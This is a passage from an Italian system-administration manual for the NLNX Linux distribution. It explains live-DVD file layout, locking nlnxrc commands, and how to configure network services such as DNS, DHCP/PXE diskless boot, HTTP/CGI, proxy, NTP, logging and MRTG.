Le directory usate per gli script di Cron sono in numero maggiore rispetto alle distribuzioni GNU/Linux comuni. In particolare si trovano le directory '/etc/cron.***nn***h', dove ***nn*** può essere '**01**', '**02**', '**03**', '**04**', '**06**', '**08**' o '**12**', a indicare ognuna una scansione di ***nn*** ore.

Nelle directory degli script di Cron, è possibile predisporre un file denominato 'cron_local', per usi personali. Questo file viene ignorato quando si va a produrre un nuovo DVD *live* di NLNX.

51.9.6 Dati variabili nel DVD *live*

Quando NLNX funziona da un file system in sola lettura (come nel caso del DVD *live*), il contenuto di alcune directory, come '/etc/' e '/var/', riguarda in realtà ciò che si trova a partire da '/ramdisk/', che a sua volta è il punto di innesto di un disco RAM. In tal modo, il contenuto di queste directory può essere modificato, anche se solo temporaneamente; ovviamente, per risparmiare memoria, la maggior parte dei file presenti a partire da '/ramdisk/' è costituita da collegamenti simbolici ad altri file che, in tale contesto, appaiono a partire da '/RW-FS/...' e come tali non sono modificabili. Per poter modificare tali file occorre cancellare i collegamenti simbolici relativi, sostituendoli con una copia del file a cui questi puntano.

51.9.7 Blocco delle funzioni di «nlnxrc»

Una volta configurate alcune funzionalità del sistema operativo, attraverso l'uso di '**nlnxrc**', oppure a mano, può essere opportuno fare in modo che certi comandi di '**nlnxrc**' non funzionino, per evitare che quanto fatto con cura venga annullato con una piccola disattenzione. In altri termini, una volta sistemata la configurazione, per evitare errori è possibile impedire a '**nlnxrc**' di ritornarci sopra, bloccando selettivamente alcuni comandi. Per fare questo occorre creare a mano il file '/etc/nlnx/NLNXRC_DISABLED_COMMANDS', contenente direttive molto semplici, come quelle dell'esempio seguente:

```
…
#
# Configurazione già fatta, da non modificare più.
#
printer:config
network:config
…
```

Come si può intuire, il cancelletto ('**#**') introduce un commento che viene ignorato, mentre le direttive richiamano dei comandi di '**nlnxrc**'. Da quello che si vede, sono bloccati i comandi: '**nlnxrc printer config**' e '**nlnxrc network config**'.

Figura 51.79. Il messaggio con cui '**nlnxrc**' spiega l'impossibilità di eseguire il comando '**nlnxrc printer config**'.

```
.----------------------------------------------.
| The command "nlnxrc printer config" is       |
| disabled, as configured inside               |
| "/etc/nlnx/NLNXRC_DISABLED_COMMANDS"!        |
|                                              |
|----------------------------------------------|
|                   <  OK  >                   |
'----------------------------------------------'
```

[1] È il caso di precisare che non si può produrre un nuovo DVD *live* quando il sistema in funzione ha il file system principale in sola lettura, come quando sta già lavorando da un DVD *live* o da una memoria solida USB. Inoltre, l'installazione da un disco fisso normale (in lettura e scrittura) produce un risultato leggermente diverso, per ciò che riguarda il ripristino delle utenze.

[2] È indispensabile che alla partizione sia stato attivato l'indicatore di avvio, come già mostrato negli esempi all'inizio del capitolo.

[3] È indispensabile che alla partizione sia stato attivato l'indicatore di avvio, come già mostrato negli esempi all'inizio del capitolo.

Capitolo 52

Servizi di rete

52.1 Servizi vari, secondo l'organizzazione di NLNX 2967
52.1.1 Nomi di dominio 2968
52.1.2 DHCP 2968
52.1.3 TFTP e PXE 2969
52.1.4 HTTP 2969
52.1.5 Proxy HTTP 2969
52.1.6 File di registrazioni 2970
52.1.7 Orologio di riferimento 2970
52.1.8 Servizi da avviare manualmente 2971
52.1.9 Utilizzo dello scanner 2972
52.2 PXE per l'avvio di un elaboratore senza disco fisso 2972
52.2.1 PXE 2972
52.2.2 NLNX in un file system di rete 2973
52.2.3 Controllo dell'avvio di sistemi locali 2975
52.3 HTTP e servizi collegati 2975
52.3.1 Impedire la pubblicazione di file personali 2976
52.3.2 Programmi CGI 2976
52.3.3 PHP 2976
52.3.4 Webalizer 2976
52.3.5 MRTG 2977
52.3.6 Accessibilità dei registri (log) 2978
52.3.7 Documentazione interna 2978
52.3.8 Esercitazioni con il linguaggio HTML 2979

`nlnx.network` 2968 `public_html/` 2976

52.1 Servizi vari, secondo l'organizzazione di NLNX

NLNX offre diversi servizi, sia localmente, sia attraverso la rete. Alcuni di questi sono attivabili anche durante il funzionamento da unità in sola lettura. Per leggere le sezioni successive, si tengano come riferimento anche le tabelle 50.64, 50.66, 50.72 e 50.67.

52.1.1 Nomi di dominio

I file di configurazione di BIND, per la risoluzione dei nomi, sono collocati tutti nella directory '`/etc/bind/`' e le zone di competenza, nell'impostazione iniziale, si riferiscono all'indirizzo 127.0.0.1.

Il nome *`nlnx`* viene indicato nel file '`/etc/hosts`', come sinonimo di *`localhost`*, per garantire il funzionamento di alcuni programmi (si veda il capitolo 39 a proposito della configurazione di un servizio DNS con Bind). Se all'elaboratore si vuole attribuire un nome differente da '**`nlnx`**', è necessario correggere il file '`/etc/hosts`', in modo che contempli anche questo come sinonimo di 127.0.0.1.

Il file '`/etc/resolv.conf`' iniziale è configurato in modo da interrogare l'elaboratore locale, ma con la presenza di altri indirizzi di serventi DNS di fornitori ben conosciuti, i quali potrebbero tornare utili in caso di emergenza, o anche solo per conoscenza. Tuttavia, in presenza di una configurazione automatica della rete, questo file viene aggiornato, perdendo le informazioni originarie.

52.1.2 DHCP

NLNX dispone di un cliente DHCP che viene usato in modo predefinito per la configurazione della rete locale.

L'utilizzo di un servizio DHCP può essere molto utile quando si usa NLNX da unità in sola lettura, senza un'organizzazione particolare del lavoro. Ma quando si installa NLNX in una serie di elaboratori, è preferibile avere un'attribuzione precisa degli indirizzi, anche senza dipendere necessariamente da un servizio DHCP.

NLNX utilizza diverse «opzioni» DHCP per la propria configurazione, secondo lo schema della tabella seguente. Si osservi comunque che le direttive utilizzate sono più numerose di quelle descritte qui.

Opzione DHCP	Utilizzo

`subnet-mask`
`broadcast-address`
`routers`
	Queste opzioni, assieme all'informazione sull'indirizzo IPv4, consentono di configurare l'interfaccia di rete e gli instradamenti.

`domain-name-servers`	Permette di modificare automaticamente il file '`/etc/resolv.conf`'.
`time-servers` `ntp-servers`	Una di queste due opzioni permette di sincronizzare l'orologio locale con il protocollo RDATE o NTP.
`root-path`	La disponibilità di questa opzione fa sì che si tenti di innestare la directory '`home/`' remota.
`nis-domain` `nis-servers`	Queste due opzioni consentono di utilizzare il protocollo NIS per la gestione condivisa delle utenze.
`lpr-servers`	Permette di modificare il file '`/etc/printcap`', in modo da usare una stampante remota.

Opzione DHCP	Utilizzo
`log-servers`	Permette di modificare il file '`/etc/syslog.conf`', in modo da inviare una copia del registro del sistema a un elaboratore remoto.

Il servizio DHCP viene fornito solo per l'interfaccia di rete che risulta essere "interna"; tuttavia, dal momento che si creano delle complicazioni quando si utilizza un elaboratore con una sola interfaccia, che però opera con più indirizzi, l'avvio del servizio viene gestito direttamente dallo script '`/etc/init.d/nlnx.network`'. Per questo, lo script '`/etc/init.d/dhcpd3-server`' non è in grado di avviare o di riavviare il servizio, ma solo di fermarlo.

Si veda anche la sezione 54.2 per una trattazione più ampia del contesto in cui si inserisce l'utilizzo del DHCP con NLNX.

52.1.3 TFTP e PXE

NLNX dispone di un servente TFTP per la condivisione della directory '`/var/lib/tftpboot/`', allo scopo di consentire l'avvio dalla rete, attraverso il protocollo PXE. L'avvio attraverso il protocollo PXE si avvale di PXELINUX, costituito in pratica dal file '`/var/lib/tftpboot/pxelinux/pxelinux.0`' e dalla sua configurazione contenuta nella directory '`/var/lib/tftpboot/pxelinux/pxelinux.cfg/`'; gli altri file contenuti nella directory '`/var/lib/tftpboot/pxelinux/`' vengono caricati attraverso il protocollo PXE, in base alla configurazione predisposta con PXELINUX.

Si veda anche il capitolo 52.2 per una trattazione più ampia dell'uso di questi protocolli con NLNX.

52.1.4 HTTP

È disponibile il servente HTTP Mathopd. Allo scopo di semplificare il lavoro, si possono eseguire i programmi CGI se il nome del file corrispondente ha un'estensione del tipo '`.cgi`', '`.pl`' o '`.sh`'; inoltre, se è installato l'interprete PHP, i file con estensione '`.php`', '`.phtml`' o '`.pht`' vengono trattati attraverso questo sistema.

Si veda anche la sezione 52.3 a questo proposito.

52.1.5 Proxy HTTP

NLNX include un servizio proxy HTTP, costituito da OOPS, che può essere usato in modo trasparente. In generale, OOPS si avvia automaticamente solo quando NLNX è stato installato secondo una modalità normale (per cui il file system viene usato in lettura e scrittura), altrimenti dal DVD *live* o da altra unità in sola lettura, è possibile avviare il servizio attraverso il comando seguente:

```
# /etc/init.d/oops start [Invio]
```

La configurazione predefinita prevede l'ascolto presso la porta 3128; inoltre si fa a meno di usare file su disco per conservare le pagine e le altre risorse già visitate. Il funzionamento di un proxy HTTP e di OOPS in particolare è descritto nella sezione 47.2.

La configurazione di OOPS viene ripristinata dallo script '`/etc/init.d/nlnx.config`', a ogni avvio del sistema, da una copia di sicurezza. Ciò permette di non perdere inavvertitamente la configurazione standard quando si aggiorna il programma; tuttavia, se NLNX è stato installato nel disco fisso e si vuole intervenire nella configurazione di OOPS, occorre ricordarsi di fare le stesse modifiche anche nel file '`/etc/oops/oops.cfg.nlnx`', il quale rappresenta tale copia di sicurezza.

52.1.6 File di registrazioni

È possibile modificare facilmente la configurazione del registro di sistema allo scopo di inviare una copia di ciò che accade presso un elaboratore unico. Invece di modificare direttamente il file '`/etc/syslog.conf`', si può intervenire con il comando seguente:

`# `**`nlnxrc log-server config`**[*Invio*]

```
.--------Log server----------.
| Please specify the log     |
| server to send system log: |
| .------------------------. |
| |                        | |
| '------------------------' |
|----------------------------|
|   <  OK  >    <Cancel>     |
'----------------------------'
```

Supponendo di voler inviare una copia all'elaboratore 192.168.1.254:

`192.168.1.254`[OK]

52.1.7 Orologio di riferimento

È possibile sincronizzare il proprio elaboratore con un altro, che offra il servizio NTP o RDATE. Per questo è sufficiente usare il comando '**`nlnxrc date config`**':

`# `**`nlnxrc date config`**[*Invio*]

```
.-------Rdate server---------.
| Please specify the date    |
| server you trust:          |
| .------------------------. |
| |                        | |
| '------------------------' |
|----------------------------|
|   <  OK  >    <Cancel>     |
'----------------------------'
```

`pool.ntp.org`[OK]

Se la configurazione riguarda una copia installata, oppure se viene salvata in qualche modo, all'avvio successivo l'allineamento dell'orologio avviene in modo automatico.

Per la sincronizzazione viene tentato un accesso attraverso '**`ntpdate`**', il quale prevede già una propria configurazione nel file '`/etc/default/ntpdate`'. In questo file conviene evitare l'indicazione di un servente NTP, perché il meccanismo usato da NLNX non lo richiede. Infatti, durante l'avvio del sistema, NLNX interroga l'indirizzo indicato nel modo mostrato sopra, attraverso il protocollo NTP, ma se questo fallisce riprova con il protocollo RDATE.

Dal momento che queste operazioni richiedono un certo tempo, sono eseguite sullo sfondo, senza sospendere temporaneamente l'esecuzione dello script in cui sono contenute. Ciò ha il vantaggio di non rallentare l'avvio quando l'elaboratore non ha un accesso alla rete esterna; se invece si specifica un servente NTP nel file '`/etc/default/ntpdate`', da un lato si esegue per due volte la stessa funzione, dall'altro si ottiene una pausa inutile all'avvio se il servente NTP non può essere raggiunto.

52.1.8 Servizi da avviare manualmente

NLNX dispone di un servente per il protocollo SSH (Secure Shell), che però non viene avviato automaticamente con il sistema operativo, durante il funzionamento da unità in sola lettura (come i DVD), se la parola d'ordine per accedere in qualità di utente amministratore è rimasta quella predefinita. Come già descritto, anche la condivisione dei dati attraverso il protocollo NFS non è attiva in modo predefinito se si sta usando il sistema da unità in sola lettura. Per attivare questi servizi, rispettivamente, si può intervenire nel modo seguente:

`#` **`/etc/init.d/ssh start`** [*Invio*]

`#` **`/etc/init.d/nfs-kernel-server start`** [*Invio*]

Oltre ai servizi elencati, che, per motivi di sicurezza, non vengono avviati automaticamente da unità in sola lettura, anche altri non lo sono, per evitare di appesantire inutilmente il funzionamento, oppure perché il contesto richiede che non lo siano. Nella tabella successiva ne vengono riepilogati alcuni.

Tabella 52.4. Alcuni servizi che non vengono avviati automaticamente durante il funzionamento da unità in sola lettura.

Script	Descrizione
'`/etc/init.d/ssh`'	Il servente per il protocollo SSH (Secure Shell) non viene avviato automaticamente per motivi di sicurezza, se la parola d'ordine dell'utente '**`root`**' è quella predefinita per NLNX.
'`/etc/init.d/nfs-kernel-server`'	Il servizio NFS non viene attivato automaticamente per motivi di sicurezza.
'`/etc/init.d/nis`'	Il servente NIS non viene attivato, mentre, in condizioni normali il cliente NIS potrebbe essere attivato automaticamente, attraverso le informazioni ottenute dal cliente DHCP.
'`/etc/init.d/oops`'	Proxy HTTP.
'`/etc/init.d/anacron`' '`/etc/init.d/cron`'	L'avvio di processi temporizzati non ha senso in un sistema basato su file system in sola lettura.

52.1.9 Utilizzo dello scanner

NLNX prevede la presenza di SANE per la gestione dello scanner. Per gli scanner che vengono riconosciuti automaticamente non ci sono problemi di utilizzo, inoltre è prevista una configurazione predefinita di SANE, tale da concedere l'accesso attraverso la rete, purché si tratti di indirizzi privati o comunque locali.

Per accedere a uno scanner remoto, è necessario intervenire nel file di configurazione '`/etc/sane.d/net.conf`' di ogni nodo cliente; tuttavia, se si usa il DHCP, lo script che si occupa della configurazione dinamica aggiorna questo file inserendo tutti gli elaboratori che risultano fornire qualche servizio (anche se diverso), considerando che uno scanner di rete potrebbe essere collocato in uno di quelli.

In pratica, se si vuole usare il DHCP e si intende predisporre uno scanner di rete, conviene collocare questo presso lo stesso elaboratore che funge già da servente di stampa, oppure quello che offre il servizio NIS, oppure anche quello che si usa per accumulare il registro di sistema degli elaboratori appartenenti alla rete locale.

52.2 PXE per l'avvio di un elaboratore senza disco fisso

Con NLNX è possibile gestire l'avvio di elaboratori remoti, privi di disco fisso, principalmente per avviare un sistema completo, in un file system remoto, in sola lettura, funzionante in modo analogo a quello del DVD *live*. La configurazione di questo tipo di servizio riguarda il protocollo DHCP, ma può essere generata in modo guidato attraverso '**`nlnxrc`**'.

Tabella 50.66. Script '**`nlnxrc`**': configurazione del servizio DHCP.

Comando	Descrizione
`nlnxrc dhcp-server config` `nlnxrc dhcp-server unconf`	Attiva o disattiva il funzionamento in qualità di servente DHCP.
`nlnxrc dhcp-server edit`	Modifica la configurazione del servente DHCP, intervenendo nel file di configurazione in modo libero.

Va comunque osservato che il sistema di avvio remoto, organizzato per NLNX, potrebbe servire anche per avviare attraverso la rete degli elaboratori che dispongono localmente di una copia di NLNX, sia in una partizione propria, sia in un file-immagine, il quale potrebbe essere stato organizzato in sola lettura o in lettura e scrittura.

52.2.1 PXE

Un sistema NLNX installato secondo le modalità descritte in altri capitoli, dispone della directory '`/var/lib/tftpboot/`', accessibile attraverso il protocollo TFTP (lo si vede nel file '`/etc/inetd.conf`'). A partire da questa directory si articolano altre directory e file che servono all'avvio di un sistema remoto, utilizzando inizialmente il protocollo PXE.

Per attivare il protocollo PXE si utilizza PXELINUX che fa parte in generale di SYSLINUX. PXELINUX richiede il caricamento e l'esecuzione di un piccolo programma, '`pxelinux.0`',

con il quale viene letto un menù, conforme al formato usato dai vari sistemi di SYSLINUX. Precisamente, in base alla configurazione prevista per NLNX, attraverso il protocollo DHCP e TFTP, l'elaboratore remoto carica ed esegue il file '`pxelinux/pxelinux.0`';[1] successivamente questo programma carica il menù '`pxelinux/pxelinux.cfg/default`'.[2] Il file '`pxelinux/pxelinux.cfg/default`' viene prodotto automaticamente da '**`nlnxrc`**', quando lo si usa per configurare il servente DHCP.

Il menù contenuto nel file '`pxelinux/pxelinux.cfg/default`' offre diverse tipologie di avvio remoto. In generale è possibile selezionare la voce '**`net`**' che si riferisce all'avvio di un sistema NLNX su disco remoto e in sola lettura (analogamente al caso di un sistema su DVD *live*); in alternativa sono disponibili le voci '**`menu`**' e '**`omenu`**', il cui comportamento è esattamente uguale a quello delle stesse voci disponibili in un DVD, pertanto con queste è possibile avviare sia un sistema locale, sia un sistema di emergenza, per la manutenzione. È anche disponibile la voce '**`mem`**', per avviare Memtest86+.

```
This is the NLNX PXE boot loader. Please insert a name and then press
[Enter].

    rescue              Generic rescue system
    diskless            Generic diskless system
    nowayout            Diskless network limited
    telnet              Diskless telnet server
    mem                 Memory check
```

Se non si seleziona alcuna voce, ma si preme ugualmente [*Invio*], viene tentato l'avvio dal disco fisso locale. Così si possono configurare gli elaboratori in modo che la prima voce di avvio (del *firmware*, ovvero del BIOS) tenti l'uso della rete, perché se non si esegue una selezione si passa automaticamente al disco locale.

Questa scelta consente, per esempio, di installare una copia di NLNX in un file-immagine ospitato nel file system locale di un altro sistema operativo, senza doversi prendere cura del suo avvio, che così avverrebbe semplicemente attraverso la rete.

52.2.2 NLNX in un file system di rete

Se gli elaboratori remoti, senza disco fisso, dispongono di memoria centrale sufficiente, oppure hanno un piccolo disco fisso con una partizione per lo scambio della memoria, è possibile fare in modo che si avvii un sistema completo, con le stesse facoltà di un NLNX avviato da un DVD *live*, ovvero con un file system principale in sola lettura.

Per realizzare questo obiettivo si installa una copia del file-immagine '`nlnx.img`' nella directory '`/opt/nlnx/`'.

Oltre alla copia, occorre verificare la configurazione del file '`/etc/exports`', il quale deve consentire un accesso in lettura a tale gerarchia, lasciando all'utente '**`root`**' tutti i suoi privilegi, come nell'esempio seguente che va adattato eventualmente alla propria rete locale:

```
...
/opt/nlnx   172.16.0.0/12(async,ro,no_root_squash,nohide,subtree_check)
...
```

Avendo sistemato questo, con l'ausilio di '**`nlnxrc`**' si va a completare la configurazione, cosa che comporta anche la **copia dei file dei kernel e dei dischi RAM iniziali** corretti:[3]

nlnxrc dhcp-server config [*Invio*]

```
.---------------------------DHCP range------------------------------.
| Current "/etc/dhcp3/dhcpd.conf" file might be set as it follows:   |
| ...                                                                |
| subnet 172.21.0.0 netmask 255.255.0.0 {                            |
| #  range 172.21.254.100 172.21.254.199;                            |
|   option broadcast-address 172.21.255.255;                         |
|   option routers 172.21.254.254;                                   |
|   option domain-name-servers 172.21.254.254;                       |
|   option time-servers pool.ntp.org;                                |
|   option ntp-servers pool.ntp.org;                                 |
|   option root-path "172.21.254.254:/opt/nlnx";                     |
|   option nis-domain "nis.nano";                                    |
|   option nis-servers 172.21.254.254;                               |
|   option lpr-servers 172.21.254.254;                               |
|   option log-servers 172.21.254.254;                               |
|   ...                                                              |
| }                                                                  |
|                                                                    |
| Please insert or confirm the DHCP address range:                   |
| .--------------------------------------------------------------. |
| |172.21.254.100 172.21.254.199                                  | |
|-'--------------------------------------------------------------'-|
|                   <  OK   >          <Annulla>                     |
'--------------------------------------------------------------------'
```

Si ipotizza di voler utilizzare dinamicamente gli indirizzi da 172.21.1.100 a 172.21.1.199:

[***Canc***] [***Canc***]...

172.21.1.100 172.21.1.199 OK

```
.--------------DHCP server configuration----------------.
| Is the following configuration correct?                |
|                                                        |
| ddns-update-style none;                                |
| option option-128 code 128 = string;                   |
| option option-129 code 129 = text;                     |
| subnet 172.21.0.0 netmask 255.255.0.0 {                |
|   range 172.21.1.100 172.21.1.199;                     |
|   option broadcast-address 172.21.255.255;             |
|   option routers 172.21.254.254;                       |
|   option domain-name-servers 172.21.254.254;           |
|   option time-servers pool.ntp.org;                    |
|   option ntp-servers pool.ntp.org;                     |
|   option root-path "172.21.254.254:/opt/nlnx";         |
|   option nis-domain "nis.nano";                        |
|   option nis-servers 172.21.254.254;                   |
|   option lpr-servers 172.21.254.254;                   |
|   option log-servers 172.21.254.254;                   |
|   use-host-decl-names      on;                         |
|   filename "/pxelinux/pxelinux.0";                     |
| }                                                      |
|--------------------------------------------------------|
|               < Yes >          < No  >                 |
'--------------------------------------------------------'
```

Se la configurazione proposta è quella che si desidera, si può confermare:

YES

L'installazione del file-immagine '`nlnx.img`' rappresenta un metodo semplice, pratico ed efficace, per mettere a disposizione NLNX in rete. È sufficiente che nella directory '`/opt/nlnx/`' sia presente tale file con il nome '`nlnx.img`':

cp nlnx.img /opt/nlnx/ [*Invio*]

52.2.3 Controllo dell'avvio di sistemi locali

La disponibilità di un elaboratore con NLNX che offre il servizio di avvio tramite PXE, come descritto in questo capitolo, può essere utile anche per avviare degli elaboratori remoti, i quali dispongono sì del sistema operativo, ma non della possibilità di avviarlo. In tal caso, dal menù di PXE va scelta la voce '**`menu`**', oppure '**`auto`**', ma nessuna delle due è quella predefinita.

Eventualmente, se il servizio PXE dovesse servire soltanto per avviare elaboratori con un proprio NLNX locale, si potrebbe intervenire manualmente nella configurazione di PXELINUX nel file '`pxelinux/pxelinux.cfg`'.

È il caso di rammentare che la possibilità di avviare degli elaboratori remoti diventa molto importante quando NLNX è stato installato lì in un file-immagine, ospitato nel file system di un altro sistema operativo. In tal caso, quel file-immagine deve chiamarsi '`nlnx.img`' ed essere collocato nella radice di quel file system.

52.3 HTTP e servizi collegati

NLNX offre un servente HTTP, costituito precisamente da Mathopd che si configura con il solo file '`/etc/mathopd.conf`'. In base alla configurazione predefinita di NLNX, il servente HTTP consente la pubblicazione di documenti a partire dalla directory '`/var/www/`', dove il file '`index.html`' va sostituito o semplicemente eliminato, e dalla directory '`~/public_html/`' di ogni utente.

La configurazione può essere modificata, ma per questo occorre intervenire manualmente nel file '`/etc/mathopd.conf`'.

Tabella 50.72. Script '**`nlnxrc`**': funzionalità relative a servizi offerti tramite il servente HTTP.

Comando	Descrizione
`nlnxrc mrtg config` `nlnxrc mrtg unconf`	Configura o disabilita le statistiche di utilizzo delle interfacce di rete, attraverso MRTG.
`nlnxrc webalizer update`	Aggiorna le statistiche di accesso al servente HTTP, prodotte con Webalizer.

52.3.1 Impedire la pubblicazione di file personali

NLNX è organizzato per poter soddisfare le esigenze dell'attività didattica in una scuola media superiore. A tale proposito, il fatto che gli utenti possano pubblicare dei file utilizzando la directory '~/public_html/' può essere un problema, in quanto gli studenti potrebbero così passarsi facilmente dei dati.

La configurazione predefinita di NLNX è tale per cui le directory personali degli utenti hanno i permessi 1771_8, pari a '**rwxrwx--t**', appartenendo all'utente '**root**' e al gruppo privato dell'utente rispettivo. In tal modo, gli utenti non hanno la facoltà di modificare i permessi della propria directory personale e non possono cancellare file o directory che non appartengono a loro stessi. Così facendo, per impedire che gli utenti possano pubblicare qualcosa attraverso il protocollo HTTP, è sufficiente che l'amministratore crei le directory '~/public_html/', appartenenti a se stesso, ma senza alcun permesso di accesso, lettura o modifica. Gli utenti, non potendo cancellare queste directory, non possono nemmeno collocarci dei file per la mancanza dei permessi necessari.

52.3.2 Programmi CGI

In base alla configurazione predefinita del servente HTTP, i file che hanno estensione '.cgi', '.pl' e '.sh', vengono eseguiti in qualità di programmi CGI (*Common gateway interface*). A titolo di esempio, nella directory '/var/www/cgi/' sono disponibili alcuni file di questo tipo; per visualizzarli occorre accedere all'indirizzo *http://**nodo**/cgi/*.

52.3.3 PHP

NLNX dispone normalmente dell'interprete PHP. Perché intervenga l'elaborazione di tale interprete è sufficiente che i file abbiano l'estensione '.php', oppure '.phtml' o '.pht'. Eventualmente, nella directory '/var/www/php/' (ovvero *http://**nodo**/php/*) si trova il file 'test.php' con il quale è possibile verificarne il funzionamento e conoscere le estensioni disponibili.

52.3.4 Webalizer

Attraverso lo script '/etc/cron.daily/nlnx-webalizer' si ottiene l'aggiornamento quotidiano delle statistiche di accesso al servente HTTP. Se Mathopd è rimasto alla sua configurazione standard di NLNX, sono accessibili all'indirizzo *http://**nodo**/access/*. Inoltre, all'indirizzo *http://**nodo**/filter/* sono accessibili le statistiche degli accessi all'esterno, come contabilizzato da OOPS.

Per eseguire manualmente l'aggiornamento di queste statistiche si può usare il comando seguente:

nlnxrc webalizer update [*Invio*]

52.3.5 MRTG

NLNX dispone di un servizio SNMP preconfigurato per l'accesso in sola lettura, in modo da consentire di ottenere le informazioni sul traffico che attraversa le interfacce di rete locali. Inoltre è disponibile MRTG, con il quale è possibile elaborare le statistiche di tale traffico all'indirizzo `http://`***nodo***`/mrtg/`. Tuttavia, MRTG va configurato in modo da fare riferimento alle interfacce di rete esistenti effettivamente. Va usato il comando seguente per fissare tale configurazione:

`#` **`nlnxrc mrgt config`** [*Invio*]

```
.------------------SNMP agent---------------------.
| Please insert a router SNMP agent address with  |
| community, like this: "COMMUNITY@ROUTER"        |
| When you have finished, select the "cancel"     |
| button.                                         |
| .---------------------------------------------. |
| |public@localhost                             | |
| '---------------------------------------------' |
|-------------------------------------------------|
|           <  OK   >      <Cancel>               |
'-------------------------------------------------'
```

[OK]

Dopo l'indicazione dell'elaboratore locale, si possono aggiungere altri router, come nell'esempio successivo. Al termine si deve annullare per concludere la configurazione.

```
.------------------SNMP agent---------------------.
| Please insert a router SNMP agent address with  |
| community, like this: "COMMUNITY@ROUTER"        |
| When you have finished, select the "cancel"     |
| button.                                         |
| .---------------------------------------------. |
| |public@192.168.1.254                         | |
| '---------------------------------------------' |
|-------------------------------------------------|
|           <  OK   >      <Cancel>               |
'-------------------------------------------------'
```

[OK]

...

[CANCEL]

```
.Clean MRTG from previous data--.
| Should I remove previous data |
| inside "/var/www/mrtg/"?      |
|                               |
|-------------------------------|
|     <  Yes >   <  No  >       |
'-------------------------------'
```

[YES]

L'aggiornamento delle statistiche, in base alla configurazione prodotta, avviene attraverso uno script avviato da Cron.

52.3.6 Accessibilità dei registri (log)

In condizioni normali, principalmente per motivi didattici, i file del registro di sistema (log) e altri file analoghi contenuti a partire dalla directory '/var/log/', sono accessibili a tutti gli utenti. In tal caso (se ci sono effettivamente i permessi di accesso in lettura per tutti), è possibile leggere il contenuto di questi registri anche attraverso un programma CGI, che consente l'accesso da parte di utenti di reti private (127.0.0.1, 10.0.0.0/8, 172.16.0.0/12 e 192.168.0.0/16): *http://**nodo**/cgi-bin/var_log*.

Se si accede all'indirizzo *http://**nodo**/cgi-bin/var_log* si ottiene la lista del contenuto della directory '/var/log/' dell'elaboratore corrispondente al nome o all'indirizzo indicato (il «nodo»); se si aggiunge la stringa *?**percorso***, si intende visualizzare il contenuto del percorso '/var/log/***percorso***'. Per esempio, per visualizzare il contenuto del file '/var/log/syslog', si deve usare l'indirizzo *http://**nodo**/cgi-bin/var_log?syslog*, mentre per leggere il contenuto del file '/var/log/oops/access.log', si deve usare l'indirizzo *http://**nodo**/cgi-bin/var_log?oops/access.log*.

L'accessibilità a questi file dipende dai loro permessi, tenendo conto che il programma CGI funziona con gli stessi privilegi del servente HTTP.

52.3.7 Documentazione interna

Oltre ai servizi menzionati nel capitolo, attraverso il servente HTTP è disponibile della documentazione interna: le pagine di manuale, la documentazione Info (se installata) e *a2*. Nella tabella successiva sono riepilogati questi e gli altri indirizzi corrispondenti alla configurazione predefinita del servizio HTTP.

Tabella 52.12. Indirizzi URI della configurazione predefinita del servente HTTP.

Indirizzo	Descrizione
*http://**nodo**/a2/* *http://**nodo**/a2.pdf*	*a2*
*http://**nodo**/access/*	Statistiche di accesso al servizio.
*http://**nodo**/cgi/*	Esempi pronti di programmi CGI.
*http://**nodo**/cgi-bin/*	Corrisponde alla directory '/usr/lib/cgi-bin/', di cui può essere visionato il contenuto. Contiene i programmi CGI dei servizi predisposti.
*http://**nodo**/cgi-bin/var_log*	Accesso ai registri del sistema (log), ammesso che siano disponibili i permessi di lettura nei file relativi.
*http://cgi-bin/**nodo**/info2www/*	Documentazione Info.
*http://**nodo**/dwww/*	Pagine di manuale e documentazione interna dei pacchetti applicativi installati.
*http://**nodo**/filter/*	Statistiche di accesso all'esterno, sotto il controllo di DansGuardian.
*http://**nodo**/mrtg/*	Statistiche del traffico di rete.
*http://**nodo**/php/*	Esempi di utilizzo del linguaggio PHP.

52.3.8 Esercitazioni con il linguaggio HTML

Per potersi esercitare nella realizzazione di file HTML aderenti allo standard è possibile utilizzare '**nsgmls**', ma il menù grafico di NLNX viene in aiuto per una gestione ordinata del lavoro. Per questa funzionalità si parte da *home page*, come si vede nella figura successiva.

Figura 52.13. Funzioni del menù grafico di NLNX dedicate alla realizzazione e verifica di pagine HTML. In questo caso si viene guidati alla selezione di un file, per il suo controllo sintattico.

```
...
...
...
home page
...
...
...

...
$ kedit /home/tizio/
$ nsgmls -s /home/tizio/
$ x-www-browser file:///home/tizio/
...

prova.html
prova2.html
public_html/test.html

$ nsgmls -s /home/tizio/prova.html
```

In questo caso, il menù grafico è sensibile ai file '`.html`' e '`.htm`', contenuti nella directory personale dell'utente e la directory '`~/public_html/`', ammesso che sia presente.

[1] Il percorso assoluto è '`/var/lib/tftpboot/pxelinux/pxelinux.0`'.

[2] Il percorso assoluto è '`/var/lib/tftpboot/pxelinux/pxelinux.cfg/default`'.

[3] Il sistema che viene installato nella directory '`/opt/nlnx/`', per funzionare in sola lettura attraverso la rete, ha un proprio insieme di moduli e una propria coppia di kernel, potenzialmente differenti rispetto al sistema complessivo che lo ospita. Pertanto, il sistema di avvio attraverso la rete, con il protocollo PXE, deve utilizzare questi kernel e i dischi RAM iniziali relativi.

La rete

53.1 La rete e gli instradamenti con NLNX 2981
53.1.1 Interfacce di rete senza fili 2982
53.1.2 Individuazione delle interfacce di rete 2983
53.1.3 Connessione in una rete locale tradizionale 2983
53.1.4 Connessione in una rete locale via radio 2985
53.1.5 Router per una rete locale 2989
53.1.6 Router per una rete locale, attraverso un proxy 2993
53.1.7 Indirizzi di rete da evitare assolutamente 2997
53.2 VNC con «nlnxrc» 2997
53.2.1 Organizzazione e funzionamento 2998
53.2.2 Utilizzo di un elaboratore remoto con un pubblico passivo 2999
53.2.3 Utilizzo di un elaboratore locale con un pubblico passivo 3000
53.2.4 Utilizzo di un elaboratore remoto con un pubblico attivo 3001
53.2.5 Utilizzo di un elaboratore locale, con un pubblico attivo 3002
53.2.6 Utilizzo senza parola d'ordine 3003
53.2.7 Utilizzo di VNC attraverso un tunnel SSH 3004

53.1 La rete e gli instradamenti con NLNX

Questo capitolo mostra alcune situazioni per cui NLNX è predisposto, per quanto riguarda il collegamento a una rete. Si osservi che NLNX è organizzato per funzionare correttamente in reti IPv4, anche senza la risoluzione dei nomi locali; pertanto, la lettura di questo capitolo e l'utilizzo relativo di NLNX presuppongono una conoscenza adeguata delle reti IPv4 (capitolo 38 e successivi).

